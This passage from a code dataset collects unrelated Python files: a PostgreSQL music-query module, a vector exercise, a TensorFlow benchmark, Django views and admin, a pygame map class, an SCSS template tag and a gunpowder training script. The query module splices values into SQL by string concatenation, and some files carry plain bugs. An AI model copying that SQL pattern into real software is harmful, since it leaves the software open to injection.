inseriti dall'utente, da escludere nella ricerca.\n :return: lista_artisti: list, lista degli artisti trovati; None, se non viene trovato nessun artista.\n \"\"\"\n s = ''\n for in_list in input_artist_id_list:\n s = s + '%s, '\n s = s[:-2]\n conn = conn_db('postgres', 'music_db')\n query = \"\"\" select * from artist where id in \n (\n select genre_artist.id_artist as id_artist_g3\n from genre_artist \n join ( select genre_artist.id as id_row_g2, genre_artist.id_genre as id_genre_g2, \n genre_artist.id_artist as id_artist_g2, \n first_genre.id as id_row_g1, first_genre.id_genre as id_genre_g1, \n first_genre.id_artist as id_artist_g1 \n from genre_artist \n join ( select * from genre_artist \n where id_genre = '\"\"\" + str(gen_list[0]) + \"\"\"') \n as first_genre \n on genre_artist.id_artist = first_genre.id_artist \n where genre_artist.id_genre = '\"\"\" + str(gen_list[1]) + \"\"\"' \n order by genre_artist.id_artist\n ) as second_genre\n on genre_artist.id_artist = id_artist_g2\n where genre_artist.id_genre = '\"\"\" + str(gen_list[2]) + \"\"\"' and \n genre_artist.id_artist not in (\n select id from artist \n where id in (\"\"\" + str(s) + \"\"\")\n )\n order by genre_artist.id_artist\n )\n limit 50;\n \"\"\"\n conn[\"cursor\"].execute(query, input_artist_id_list)\n lista_artisti = conn[\"cursor\"].fetchall()\n # print(lista_artisti)\n\n conn_close_db(conn)\n if lista_artisti:\n return lista_artisti\n else:\n return None\n\n\ndef get_list_artist_two_genres(gen_list, input_artist_id_list):\n \"\"\"\n Funzione che restituisce gli artisti che suonano due dei tre generi presenti nella lista 'gen_list'.\n\n :param gen_list: list, lista di generi (id).\n :param input_artist_id_list: list, lista di artisti inseriti dall'utente, da escludere nella query.\n :return: lista_artisti: list, lista degli artisti trovati; None, se non viene trovato nessun artista.\n \"\"\"\n s = ''\n for in_list in input_artist_id_list:\n s = s + '%s, '\n s = s[:-2]\n conn = conn_db('postgres', 'music_db')\n query = \"\"\" select id, name from artist where id in \n (\n select genre_artist.id_artist\n from genre_artist \n join ( \n select * from genre_artist \n where id_genre = '\"\"\" + str(gen_list[0]) + \"\"\"'\n ) as first_genre on genre_artist.id_artist = first_genre.id_artist \n where genre_artist.id_genre = '\"\"\" + str(gen_list[1]) + \"\"\"' and \n genre_artist.id_artist not in (\"\"\" + str(s) + \"\"\")\n order by genre_artist.id_artist\n )\n limit 50;\n \"\"\"\n conn[\"cursor\"].execute(query, input_artist_id_list)\n lista_artisti = conn[\"cursor\"].fetchall()\n # print(lista_artisti)\n\n conn_close_db(conn)\n if lista_artisti:\n return lista_artisti\n else:\n return None\n\n\n\"\"\"\nif __name__ == '__main__':\n get_list_artist_three_genres([16, 13, 423], [397, 439])\n get_list_artist_two_genres([16, 229], [397, 439])\n\"\"\"\n\n\"\"\"\nMi è servito per inserire i sottogeneri, adesso li prendo direttamente dai file csv\n\nroot_prg/def_alter_genre().txt\n\"\"\"\n","sub_path":"postgreSQL.py","file_name":"postgreSQL.py","file_ext":"py","file_size_in_byte":28126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"529636938","text":"import re\ndef program():\n x = input(\"Skriv inn vektor hvor tallene er separert med komma: \")\n x = re.split(\",\",x)\n for i in range(0,3,1):\n x[i] = int(x[i])\n return x\n\ndef vektorLengde(vektor):\n lengde = 0\n for i in range(0,len(vektor),1):\n lengde+=vektor[i]**2\n return (lengde**0.5)\n\ndef skalarProdukt(vektor,skalar):\n for i in range(0,len(vektor),1):\n vektor[i]*=skalar\n return vektor\n\ndef indreProdukt(vektor1,vektor2):\n produkt = 0\n for i in range(0,len(vektor1),1):\n produkt+= vektor1[i]*vektor2[i]\n return produkt\n\nvec1 = program()\nprint(vec1)\nprint(\"Vektorens lengde:\",vektorLengde(vec1))\n\nskalar = int(input(\"Skriv inn et skalar: \"))\nvec1 = skalarProdukt(vec1,skalar)\n\nprint(vec1)\n\n\nprint(\"Vektorens lengde:\",vektorLengde(vec1))\n\nvec2 = program()\nprint(vec2)\n\nvec3 = indreProdukt(vec1,vec2)\nprint(vec1,\"*\",vec2,\"=\",vec3)","sub_path":"Oving 6/Oppgave 3.py","file_name":"Oppgave 3.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"317577854","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nfrom utils import *\nimport tensorflow as tf\nfrom models import resnet_cifar_model\n\nclass Benchmark(object):\n def __init__(self, epochs, steps_per_epoch, model='resnet56'):\n self.model = None\n self.epochs = epochs\n self.steps_per_epoch = steps_per_epoch\n self.loss = tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True)\n self.optimizer = tf.keras.optimizers.SGD(learning_rate=0.1,momentum=0.9, nesterov=True)\n\n self.train_loss = tf.keras.metrics.Mean(name='train_loss')\n self.test_loss = tf.keras.metrics.Mean(name='test_loss')\n self.train_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='train_accuracy')\n self.test_accuracy = tf.keras.metrics.SparseCategoricalAccuracy(name='test_accuracy')\n self.callbacks = [tf.keras.callbacks.LearningRateScheduler(self.decay)]\n\n def create_model(self, model_name):\n if model_name == 'resnet56':\n self.model = resnet_cifar_model.resnet56(classes=10)\n else:\n err_msg = \"Model name \\\"{}\\\" cannot be found!\".format(model_name)\n print_msg(err_msg, 'err')\n sys.exit('Error!')\n return self.model\n\n def decay(self, epoch):\n if epoch < 3:\n return 1e-3\n elif epoch >= 3 and epoch < 7:\n return 1e-4\n else:\n return 1e-5\n\n def train_step(self, image, label):\n with tf.GradientTape() as tape:\n predictions = self.model(image, training=True)\n loss = self.loss(label, predictions)\n loss += sum(self.model.losses)\n gradients = tape.gradient(loss, self.model.trainable_variables)\n self.optimizer.apply_gradients(\n zip(gradients, self.model.trainable_variables))\n\n self.train_loss(loss)\n self.train_accuracy(label, predictions)\n\n def test_step(inputs):\n images, labels = inputs\n\n predictions = self.model(images, training=False)\n t_loss = self.loss(labels, predictions)\n\n test_loss.update_state(t_loss)\n test_accuracy.update_state(labels, predictions)\n\n def run(self, train_dataset, test_dataset, train_mode):\n if train_mode == 'loop':\n return self.loop_train(train_dataset, test_dataset)\n elif train_mode == 'fit':\n return self.fit_train(train_dataset.repeat(), test_dataset.repeat())\n\n def loop_train(self, train_dataset, test_dataset):\n print_msg(\"Warming Up...\", 'info')\n for image, label in train_dataset.take(1):\n self.train_step(image, label)\n\n header_str = ('Step\\tImg/sec\\ttotal_loss\\taccuracy')\n print_msg(header_str, 'info')\n\n for epoch in range(self.epochs):\n for image, label in train_dataset:\n self.train_step(image, label)\n\n template = ('Epoch: {}, Train Loss: {}, Train Accuracy: {}, '\n 'Test Loss: {}, Test Accuracy: {}')\n\n print_msg(template.format(epoch, self.train_loss.result(),\n self.train_accuracy.result(),\n self.test_loss.result(),\n self.test_accuracy.result()), 'info', True)\n print_msg('')\n\n def compile_model(self):\n self.model.compile(optimizer=self.optimizer, loss=self.loss, metrics=['accuracy'])\n\n def fit_train(self, train_dataset, test_dataset):\n history = self.model.fit(train_dataset, epochs=self.epochs, steps_per_epoch=self.steps_per_epoch, callbacks=self.callbacks)\n return (history.history['loss'][-1],\n history.history['accuracy'][-1])\n\n","sub_path":"benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"432856345","text":"from django.shortcuts import render\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import logout, login, authenticate\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.core import serializers\nfrom quick.models import Product\nimport json\n\ndef index(request):\n template_name = 'index.html'\n return render(request, template_name, {})\n\ndef list_products(request):\n all_products = Product.objects.all()\n data = serializers.serialize('json', all_products)\n return HttpResponse(data, content_type='application/json')\n\ndef add_product(request):\n form_data = request.POST\n\n p = Product(\n title = form_data['title'],\n description = form_data['description'],\n price = form_data['price'],\n quantity = form_data['quantity'],\n )\n p.save()\n template_name = 'product/success.html'\n return render(request, template_name, {})\n\n\ndef register_user(request):\n '''Handles the creation of a new user for authentication\n\n Method arguments:\n request -- The full HTTP request object\n '''\n\n # Load the JSON string of the request body into a dict\n req_body = json.loads(request.body.decode())\n\n # Create a new user by invoking the `create_user` helper method\n # on Django's built-in User model\n new_user = User.objects.create_user(\n username=req_body['username'],\n password=req_body['password'],\n email=req_body['email'],\n first_name=req_body['first_name'],\n last_name=req_body['last_name'],\n )\n\n # Commit the user to the database by saving it\n new_user.save()\n\n return login_user(request)\n\n\ndef login_user(request):\n '''Handles the creation of a new user for authentication\n\n Method arguments:\n request -- The full HTTP request object\n '''\n\n # Load the JSON string of the request body into a dict\n req_body = json.loads(request.body.decode())\n\n # Use the built-in authenticate method to verify\n authenticated_user = authenticate(\n username=req_body['username'],\n password=req_body['password']\n )\n\n # If authentication was successful, log the user in\n success = True\n if authenticated_user is not None:\n login(request=request, user=authenticated_user)\n else:\n success = False\n\n data = json.dumps({\"success\":success})\n return HttpResponse(data, content_type='application/json')\n\n\n","sub_path":"quick/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"572620212","text":"from typing import List\n\nclass Solution:\n def findAnagrams(self, s: str, p: str) -> List[int]:\n n, m, res = len(s), len(p), []\n if n < m: return res\n p_cnt = [0] * 26\n s_cnt = [0] * 26\n for i in range(m):\n p_cnt[ord(p[i]) - ord('a')] += 1\n s_cnt[ord(s[i]) - ord('a')] += 1\n if s_cnt == p_cnt:\n res.append(0)\n \n for i in range(m, n):\n s_cnt[ord(s[i - m]) - ord('a')] -= 1\n s_cnt[ord(s[i]) - ord('a')] += 1\n if s_cnt == p_cnt:\n res.append(i - m + 1)\n return res\n\ns = Solution()\nprint(s.findAnagrams('cbaebabacd','abc'))\n ","sub_path":"算法分类/滑动窗口/字母异位词.py","file_name":"字母异位词.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"13065704","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.contrib import admin\nfrom .models import Local, Sector, Maquina, Usuario, TipoUser\n\nclass SectorAdmin (admin.ModelAdmin):\n\tlist_display = ('numero','descripcion')\n\nclass SectorInLine (admin.StackedInline):\n\tmodel = Sector\n\textra = 3\n\nclass LocalAdmin (admin.ModelAdmin):\n\tlist_display = ('id','nombre','direccion')\n\tinlines = [SectorInLine]\n\nclass MaquinaAdmin (admin.ModelAdmin):\n\tlist_display = ('id','nombre', 'get_local', 'sector')\n\tdef get_local(self, obj):\n\t\treturn obj.sector.local\n\tget_local.short_description = \"Local\"\n\n\n\nclass UsuarioAdmin (admin.ModelAdmin):\n\tlist_display = ('username', 'nombre', 'tipoUser')\n\nadmin.site.register(Local, LocalAdmin)\nadmin.site.register(Sector, SectorAdmin)\nadmin.site.register(Maquina, MaquinaAdmin)\nadmin.site.register(Usuario, UsuarioAdmin)\nadmin.site.register(TipoUser)\n\n\n\n# Register your models here.\n","sub_path":"app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"622772098","text":"import pygame\nimport time\nimport math\nimport random as rd\nimport Ranking\nfrom monsters import Monster\nfrom players import Player\nfrom images_handler import Images\nfrom bullets import Bullet\n\nSCREEN_HEIGHT = 700\nSCREEN_WIDTH = 1000\n\nclass Map():\n\n def __init__(self):\n self.monsters = []\n self.allies = []\n self.bullets = []\n self.level = 1\n self.quant = 1\n self.player = Player((500-70/2, 350-70/2), pygame.image.load('sprites_player/sprite1_player_0.png'))\n self.screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n self.images = Images()\n self.bossTime = True\n self.inGame = True\n self.win = False\n self.windowClosed = False\n self.initialScreen = True\n self.showGuiLevel = True\n self.ranking = []\n self.setRank = True\n self.start_time = time.time()\n self.backgroundIndex = 0\n self.winBackgroundImage = pygame.image.load('background_images/you_win.jpg')\n self.gameOverBackgroundImage = pygame.image.load('background_images/game_over.jpg')\n self.initialBackgroundImage = pygame.image.load('background_images/initial.jpg')\n self.backgrounds = [pygame.image.load('background_images/deserto.png').convert_alpha(), pygame.image.load('background_images/lava.png').convert_alpha(),\n pygame.image.load('background_images/rocha.png').convert_alpha(), pygame.image.load('background_images/deserto.png').convert_alpha(),\n pygame.image.load('background_images/metal.png').convert_alpha(), pygame.image.load('background_images/lava.png').convert_alpha(),\n pygame.image.load('background_images/rocha.png').convert_alpha()]\n self.play =pygame.image.load('background_images/play.png')\n self.pause = pygame.image.load('background_images/pause.png')\n\n def spawnMonsters(self, amount, image, life, isBoss):\n for i in range(amount):\n #monsters spawn at left side\n self.monsters.append(Monster((rd.randint(-(70+(30*amount)), -70), rd.randint(0, 700)), image, life, isBoss))\n #monsters spawn at top side\n self.monsters.append(Monster((rd.randint(0, 1000), rd.randint(-(70+(30*amount)), -70)), image, life, isBoss))\n #monsters spawn at right side\n self.monsters.append(Monster((rd.randint(1070, 1070+(30*amount)), rd.randint(0, 700)), image, life, isBoss))\n #monsters spawn at bot side\n self.monsters.append(Monster((rd.randint(0, 1000), rd.randint(770, 770+(30*amount))), image, life, isBoss))\n\n def spawnBoss(self):\n if self.level <= 5:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getRootImages(), (100, 100)), 10, True)\n elif self.level <= 10:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getGrizImages(), (100, 100)), 20, True)\n elif self.level <= 15:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getAngryPenguinImages(), (100, 100)), 30, True)\n elif self.level <= 20:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getStapoImages(), (100, 100)), 40, True)\n elif self.level <= 25:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getMetallingImages(), (100, 100)), 50, True)\n elif self.level <= 30:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getMagmaringImages(), (100, 100)), 60, True)\n elif self.level > 30:\n self.spawnMonsters(1, self.images.changeImagesSize(self.images.getDevelingImages(), (100, 100)), 70, True)\n for i in range(3):\n del self.monsters[rd.randint(0, len(self.monsters)-1)]\n self.monsters[0].changeMonsterVelocity(3)\n\n def spawnAllies(self, amount, image, life):\n self.allies.append(Monster((rd.randint(0, 1000-30), rd.randint(0,700-30)), image, life, False))\n\n def spawnBullets(self, amount):\n for i in range(amount):\n self.bullets.append(Bullet())\n\n def unpauseMusic(self):\n pygame.mixer.music.unpause()\n \n def pauseMusic(self):\n pygame.mixer.music.pause()\n\n def showPlayerInfos(self):\n #pygame.draw.rect(screen, (0, 0, 0), player1.rect) #debug\n self.screen.blit(self.player.img, self.player.position)\n self.player.showLife(self.screen)\n self.player.showScore(self.screen)\n self.player.showAmmoAmount(self.screen)\n self.player.changeHeartImage()\n\n def showLevelGUI(self):\n if self.level < 10:\n self.screen.blit(pygame.font.SysFont('arial', 200).render(\"LEVEL \" + str(self.level), True, (0, 0, 0)), (SCREEN_WIDTH/2-(300), SCREEN_HEIGHT/2-150))\n else:\n self.screen.blit(pygame.font.SysFont('arial', 200).render(\"LEVEL \" + str(self.level), True, (0, 0, 0)), (SCREEN_WIDTH/2-(380), SCREEN_HEIGHT/2-150))\n\n def changeLevel(self):\n self.level += 1\n if self.level <= 35:\n self.backgroundIndex = math.floor(self.level/5-0.1)\n self.quant += 1\n if (self.quant-1)%5 == 0:\n self.quant = 1\n self.bossTime = True\n #player1.addAmmo(self.level*4+4)\n if self.level <= 5:\n self.spawnMonsters(self.quant, self.images.getStapoImages(), 1, False)\n elif self.level <= 10:\n self.spawnMonsters(self.quant, self.images.getMagmaringImages(), 2, False)\n elif self.level <= 15:\n self.spawnMonsters(self.quant, self.images.getDevelingImages(), 3, False)\n elif self.level <= 20:\n self.spawnMonsters(self.quant, self.images.getStapoImages(), 4, False)\n elif self.level <= 25:\n self.spawnMonsters(self.quant, self.images.getMetallingImages(), 5, False)\n elif self.level <= 30:\n self.spawnMonsters(self.quant, self.images.getMagmaringImages(), 6, False)\n elif self.level > 30:\n self.spawnMonsters(self.quant, self.images.getDevelingImages(), 7, False)\n \n if rd.random() > 0.65:\n self.spawnAllies(1, self.images.getHeartImages(), 1)\n\n self.showGuiLevel = True\n self.start_time = time.time()\n\n def blitBackgroundMap(self):\n self.screen.blit(self.backgrounds[self.backgroundIndex], (-13, -30))\n self.screen.blit(self.play, (0, 680))\n self.screen.blit(self.pause, (25, 680))\n\n def alliesInteractions(self):\n for allie in self.allies:\n allie.drawMonster(self.screen)\n if self.player.is_collided_with(allie):\n allie.healAudio.play()\n self.player.healPlayer(1)\n self.allies.remove(allie)\n else:\n for shot in self.player.shots:\n if shot.is_collided_with(allie):\n allie.damageMonster(1)\n if allie.isDead():\n self.allies.remove(allie)\n self.player.addScore(-500)\n self.player.shots.remove(shot)\n\n def monstersInteractions(self):\n for monster in self.monsters:\n monster.move(self.player)\n monster.drawMonster(self.screen)\n monster.drawLifeBar(monster, self.screen)\n if self.player.is_collided_with(monster):\n monster.damageAudio.play()\n if monster.isBoss:\n self.player.damagePlayer(5)\n else:\n self.player.damagePlayer(1)\n self.monsters.remove(monster)\n if(self.player.isPlayerDead()):\n self.inGame = False\n else:\n for shot in self.player.shots:\n if shot.is_collided_with(monster):\n monster.damageMonster(1)\n if monster.isDead():\n self.monsters.remove(monster)\n self.player.addScore(100)\n self.player.shots.remove(shot)\n\n def bulletsInteractions(self):\n for bullet in self.bullets:\n self.screen.blit(bullet.img, bullet.position)\n if self.player.is_collided_with(bullet):\n bullet.reloadAudio.play()\n self.player.addAmmo(5)\n self.bullets.remove(bullet)\n if len(self.bullets) == 0:\n self.player.canSpawnBullets = True\n\n def shotsInteractions(self):\n for shot in self.player.shots:\n shot.move()\n self.screen.blit(shot.img, shot.position)\n if shot.position[0] > SCREEN_WIDTH or shot.position[0] < 0:\n self.player.shots.remove(shot)\n elif shot.position[1] > SCREEN_HEIGHT or shot.position[1] < 0:\n self.player.shots.remove(shot)\n\n def checkEvents(self):\n keys = pygame.key.get_pressed()\n if keys[pygame.K_UP]:\n self.player.grau = 0\n self.player.moveUp()\n self.player.passo += 1\n elif keys[pygame.K_DOWN]:\n self.player.grau = 180\n self.player.moveDown()\n self.player.passo += 1\n elif keys[pygame.K_RIGHT]:\n self.player.grau = 90\n self.player.moveRight()\n self.player.passo += 1\n elif keys[pygame.K_LEFT]:\n self.player.grau = 270\n self.player.moveLeft()\n self.player.passo += 1\n elif keys[pygame.K_q]:\n print('Q PRESSED')\n for m in self.monsters:\n self.monsters.remove(m)\n self.player.addScore(200)\n for a in self.allies:\n self.allies.remove(a)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.inGame = False\n self.windowClosed = True\n pygame.quit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n self.player.shoot(self)\n if event.key == pygame.K_p:\n self.monsters = []\n self.allies = []\n self.level += 3\n if event.type == pygame.MOUSEBUTTONUP:\n pos = pygame.mouse.get_pos()\n if(pos[0] >= 25 and pos[0] <= 45 and pos[1] >= 680 and pos[1] <= 700):\n self.pauseMusic()\n if(pos[0] >= 0 and pos[0] <= 20 and pos[1] >= 680 and pos[1] <= 700):\n self.unpauseMusic()\n\n def checkEndOfLevel(self):\n if len(self.monsters) == 0 and len(self.allies) == 0 and self.inGame:\n if self.level%5 == 0 and self.bossTime:\n self.spawnBoss()\n self.bossTime = False\n else:\n self.changeLevel()\n\n def showGuiLevelMap(self):\n if self.showGuiLevel:\n if time.time() - self.start_time > 2.2:\n self.showGuiLevel = False\n self.showLevelGUI()\n\n def endOfGame(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONUP:\n pos = pygame.mouse.get_pos()\n if(pos[0] >= 25 and pos[0] <= 45 and pos[1] >= 680 and pos[1] <= 700):\n self.pauseMusic()\n if(pos[0] >= 0 and pos[0] <= 20 and pos[1] >= 680 and pos[1] <= 700):\n self.unpauseMusic()\n \n if self.win:\n self.screen.blit(self.winBackgroundImage, (0, 0))\n self.screen.blit(self.play, (0, 680))\n self.screen.blit(self.pause, (25, 680))\n else: \n self.screen.blit(self.gameOverBackgroundImage, (0, 0))\n self.screen.blit(self.play, (0, 680))\n self.screen.blit(self.pause, (25, 680))\n\n if self.setRank: \n Ranking.SetRank(self.player.score, self.level, Ranking.GetUsername())\n Ranking.LoadRanking()\n self.ranking = Ranking.GetRanking()\n self.setRank = False\n\n count = 1\n for score in self.ranking:\n self.screen.blit(pygame.font.SysFont('arial', 45).render(str(count) + \" Lugar - \" + score[1] + \" - Level: \" + score[2] + \" - Score: \" + score[3] , True, (255, 255, 255)), (150, 170 + (70*count)))\n count += 1\n if count > 5: break\n\n pygame.display.update()\n\n def initalScreen(self):\n self.screen.blit(self.initialBackgroundImage, (0, 0))\n self.screen.blit(self.play, (0, 680))\n self.screen.blit(self.pause, (25, 680))\n pygame.display.update()\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.inGame = False\n self.windowClosed = True\n pygame.quit()\n if event.type == pygame.MOUSEBUTTONUP:\n pos = pygame.mouse.get_pos()\n print(pos)\n if(pos[0] >= 250 and pos[0] <= 440 and pos[1] >= 650 and pos[1] <= 695):\n self.initialScreen = False\n if(pos[0] >= 485 and pos[0] <= 735 and pos[1] >= 650 and pos[1] <= 695):\n self.initialScreen = False\n if(pos[0] >= 25 and pos[0] <= 45 and pos[1] >= 650 and pos[1] <= 700):\n self.pauseMusic()\n if(pos[0] >= 0 and pos[0] <= 20 and pos[1] >= 680 and pos[1] <= 700):\n self.unpauseMusic()\n\n","sub_path":"maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":13527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"418001794","text":"from ..cache import get_cache_key, get_hexdigest, get_hashed_mtime\nfrom ..settings import SCSS_USE_CACHE,\\\n SCSS_CACHE_TIMEOUT, SCSS_OUTPUT_DIR, SCSS_DEVMODE, SCSS_DEVMODE_WATCH_DIRS, SCSS_INPUT_DIR, SCSS_OUTPUT_URL\nfrom ..utils import compile_scss\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.template.base import Library, Node\nimport shlex\nimport subprocess\nimport os\nimport sys\nfrom django_scss.utils import Scss\n\nregister = Library()\n\n_scss_vars = {}\n_scss = Scss(\n scss_vars=_scss_vars,\n scss_opts={\n 'compress': True,\n 'debug_info': True,\n }\n)\n\n\nclass InlineSCSSNode(Node):\n\n def __init__(self, nodelist):\n self.nodelist = nodelist\n\n def compile(self, source):\n scss.LOAD_PATHS = [\n SCSS_INPUT_DIR,\n ]\n\n compiled_css_from_file = u''\n\n try:\n compiled_css_from_file = _scss.compile(source)\n except:\n raise\n\n return compiled_css_from_file\n\n def render(self, context):\n output = self.nodelist.render(context)\n\n if SCSS_USE_CACHE:\n cache_key = get_cache_key(get_hexdigest(output))\n cached = cache.get(cache_key, None)\n if cached is not None:\n return cached\n output = self.compile(output)\n cache.set(cache_key, output, SCSS_CACHE_TIMEOUT)\n return output\n else:\n return self.compile(output)\n\n\n@register.tag(name=\"inlinescss\")\ndef do_inlinescss(parser, token):\n nodelist = parser.parse((\"endinlinescss\",))\n parser.delete_first_token()\n return InlineSCSSNode(nodelist)\n\n\n@register.simple_tag\ndef scss(path):\n\n encoded_full_path = full_path = os.path.join(SCSS_INPUT_DIR, path)\n if isinstance(full_path, unicode):\n filesystem_encoding = sys.getfilesystemencoding() or sys.getdefaultencoding()\n encoded_full_path = full_path.encode(filesystem_encoding)\n\n filename = os.path.split(path)[-1]\n\n output_directory = os.path.join(SCSS_OUTPUT_DIR, os.path.dirname(path))\n\n hashed_mtime = get_hashed_mtime(full_path)\n\n if filename.endswith(\".scss\"):\n base_filename = filename[:-5]\n else:\n base_filename = filename\n\n if SCSS_DEVMODE and any(map(lambda watched_dir: full_path.startswith(watched_dir), SCSS_DEVMODE_WATCH_DIRS)):\n output_path = os.path.join(output_directory, \"%s.css\" % base_filename)\n\n else:\n output_path = os.path.join(output_directory, \"%s-%s.css\" % (base_filename, hashed_mtime))\n if not compile_scss(encoded_full_path, output_path, path):\n return SCSS_OUTPUT_URL + \"%s-%s.css\" % (base_filename, hashed_mtime)\n\n # Remove old files\n compiled_filename = os.path.split(output_path)[-1]\n for filename in os.listdir(output_directory):\n if filename.startswith(base_filename) and filename != compiled_filename:\n os.remove(os.path.join(output_directory, filename))\n\n return SCSS_OUTPUT_URL + compiled_filename\n","sub_path":"django_scss/templatetags/scss.py","file_name":"scss.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"160463791","text":"from __future__ import print_function\nimport sys\nfrom gunpowder import *\nfrom gunpowder.caffe import *\nimport malis\nimport glob\nimport math\n\n# the training HDF files\nsamples = [\n 'trvol-250-1.hdf',\n # add more here\n]\n\n# after how many iterations to switch from Euclidean loss to MALIS\nphase_switch = 10000\n\ndef train_until(max_iteration, gpu):\n '''Resume training from the last stored network weights and train until ``max_iteration``.'''\n\n set_verbose(False)\n\n # get most recent training result\n solverstates = [ int(f.split('.')[0].split('_')[-1]) for f in glob.glob('net_iter_*.solverstate') ]\n if len(solverstates) > 0:\n trained_until = max(solverstates)\n print(\"Resuming training from iteration \" + str(trained_until))\n else:\n trained_until = 0\n print(\"Starting fresh training\")\n\n if trained_until < phase_switch and max_iteration > phase_switch:\n # phase switch lies in-between, split training into to parts\n train_until(phase_switch, gpu)\n trained_until = phase_switch\n\n if max_iteration <= phase_switch:\n phase = 'euclid'\n else:\n phase = 'malis'\n print(\"Traing until \" + str(max_iteration) + \" in phase \" + phase)\n\n # setup training solver and network\n solver_parameters = SolverParameters()\n solver_parameters.train_net = 'net.prototxt'\n solver_parameters.base_lr = 0.5e-4\n solver_parameters.momentum = 0.95\n solver_parameters.momentum2 = 0.999\n solver_parameters.delta = 1e-8\n solver_parameters.weight_decay = 0.000005\n solver_parameters.lr_policy = 'inv'\n solver_parameters.gamma = 0.0001\n solver_parameters.power = 0.75\n solver_parameters.snapshot = 2000\n solver_parameters.snapshot_prefix = 'net'\n solver_parameters.type = 'Adam'\n if trained_until > 0:\n solver_parameters.resume_from = 'net_iter_' + str(trained_until) + '.solverstate'\n else:\n solver_parameters.resume_from = None\n solver_parameters.train_state.add_stage(phase)\n\n # input and output shapes of the network, needed to formulate matching batch \n # requests\n input_shape = (196,)*3\n output_shape = (92,)*3\n\n # volumes to request for each batch\n request = BatchRequest()\n request.add_volume_request(VolumeTypes.RAW, input_shape)\n request.add_volume_request(VolumeTypes.GT_LABELS, output_shape)\n request.add_volume_request(VolumeTypes.GT_MASK, output_shape)\n request.add_volume_request(VolumeTypes.GT_AFFINITIES, output_shape)\n if phase == 'euclid':\n request.add_volume_request(VolumeTypes.LOSS_SCALE, output_shape)\n\n # create a tuple of data sources, one for each HDF file\n data_sources = tuple(\n\n # provide volumes from the given HDF datasets\n Hdf5Source(\n sample,\n datasets = {\n VolumeTypes.RAW: 'volumes/raw',\n VolumeTypes.GT_LABELS: 'volumes/labels/neuron_ids',\n VolumeTypes.GT_MASK: 'volumes/labels/mask',\n }\n ) +\n\n # ensure RAW is in float in [0,1]\n Normalize() +\n\n # zero-pad provided RAW and GT_MASK to be able to draw batches close to \n # the boundary of the available data\n Pad(\n {\n VolumeTypes.RAW: Coordinate((100, 100, 100)),\n VolumeTypes.GT_MASK: Coordinate((100, 100, 100))\n }\n ) +\n\n # chose a random location inside the provided volumes\n RandomLocation() +\n\n # reject batches wich do contain less than 50% labelled data\n Reject()\n\n for sample in samples\n )\n\n # attach data sources to training pipeline\n train_pipeline = (\n\n data_sources +\n\n # randomly select any of the data sources\n RandomProvider() +\n\n # elastically deform and rotate\n ElasticAugment([40,40,40], [2,2,2], [0,math.pi/2.0], prob_slip=0.01, max_misalign=1, subsample=8) +\n\n # randomly mirror and transpose\n SimpleAugment() +\n\n # grow a 0-boundary between labelled objects\n GrowBoundary(steps=4) +\n\n # relabel connected label components inside the batch\n SplitAndRenumberSegmentationLabels() +\n\n # compute ground-truth affinities from labels\n AddGtAffinities(malis.mknhood3d()) +\n\n # add a LOSS_SCALE volume to balance positive and negative classes for \n # Euclidean training\n BalanceAffinityLabels() +\n\n # randomly scale and shift intensities\n IntensityAugment(0.9, 1.1, -0.1, 0.1) +\n\n # ensure RAW is in [-1,1]\n IntensityScaleShift(2,-1) +\n\n # use 10 workers to pre-cache batches of the above pipeline\n PreCache(\n request,\n cache_size=40,\n num_workers=10) +\n\n # perform one training iteration\n Train(solver_parameters, use_gpu=gpu) +\n\n # save every 100th batch into an HDF5 file for manual inspection\n Snapshot(\n every=100,\n output_filename='batch_{iteration}.hdf',\n additional_request=BatchRequest({VolumeTypes.LOSS_GRADIENT: request.volumes[VolumeTypes.GT_AFFINITIES]})) +\n\n # add useful profiling stats to identify bottlenecks\n PrintProfilingStats(every=10)\n )\n\n iterations = max_iteration - trained_until\n assert iterations >= 0\n\n print(\"Starting training...\")\n with build(train_pipeline) as b:\n for i in range(iterations):\n b.request_batch(request)\n print(\"Training finished\")\n\nif __name__ == \"__main__\":\n iteration = int(sys.argv[1])\n gpu = int(sys.argv[2])\n train_until(iteration, gpu)\n","sub_path":"examples/fib25/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} 